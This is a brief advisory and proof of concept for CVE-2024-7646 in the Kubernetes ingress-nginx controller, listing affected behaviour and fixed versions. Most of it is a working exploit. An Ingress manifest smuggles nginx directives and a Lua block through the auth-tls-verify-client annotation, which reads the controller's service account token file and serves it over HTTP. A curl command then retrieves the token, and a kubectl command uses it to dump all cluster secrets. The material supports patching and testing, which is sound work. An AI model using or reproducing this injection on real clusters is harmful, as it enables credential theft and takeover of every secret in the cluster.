CVE-2024-7646

Description

In default, nginx.ingress.kubernetes.io/server-snippet is disabled, but due to this cve, nginx.ingress.kubernetes.io/auth-tls-verify-client can still insert custom snippets, or even lua code can be included.

Fixed version

ingress-nginx controller v1.11.2 - fixed by kubernetes/ingress-nginx#11719 and kubernetes/ingress-nginx#11721 ingress-nginx controller v1.10.4 - fixed by kubernetes/ingress-nginx#11718 and kubernetes/ingress-nginx#11722

PoC

Requires permission to create ingress

openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

In the default configuration, that credential has access to all secrets in the cluster.

TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml